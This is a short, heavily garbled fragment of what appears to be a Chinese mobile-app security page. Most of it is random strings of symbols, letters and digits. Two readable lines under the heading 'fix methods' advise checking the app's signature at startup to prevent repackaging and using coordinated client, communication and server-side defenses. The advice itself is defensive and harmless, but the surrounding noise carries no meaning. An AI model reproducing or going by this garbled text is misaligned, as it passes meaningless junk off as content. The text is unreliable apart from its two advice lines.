k	5 \# [% C- \+ L* _/ T& S3 }' V 7 J( Y V0 [! ]: p/ K9 c   % y. j3 `0 S2 ]/ i/ Z; |3 y0 X; G3 p

# u) W! ?2 L- c0 J) `. O2 a . }0 Z3 z- ~, X- L9 q

) A" d8 O; |9 y6 D + \: p1 ~& _6 q" u) R0 c/ O   2 z; e2 s T8 A0 l3 U! F

W5 q5 c8 |) v3 g$ r

. V4 u" V+ x8 t" N& Z 修复方法： 6 L" W/ t: h; g1 Q/ { . I3 l5 i3 \5 t: Z3 x

& b+ c7 \: q. d4 c2 o

( }- k, _6 f* d, ~0 a6 H               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 / r5 B, ^( W, V- Z7 L0 t ' L3 L# m. W. c) i# e, Y. q* X1 t( @

7 R4 ]* A: w2 g5 `+ H $ f. R' b; }" Y

+ l8 J, x. x3 m% B4 c  

1 e3 [- S, y" |$ y* r) v5 |) J4 v6 M8 J3 E 4 Y' \5 W6 |9 o- F

- M% s7 P5 `) E$ z
) U) M; ?8 ?/ X2 ]2 X. y $ p" c1 ~; X) ]) w4 r0 |4 ~

4 B! I: i# d/ X9 F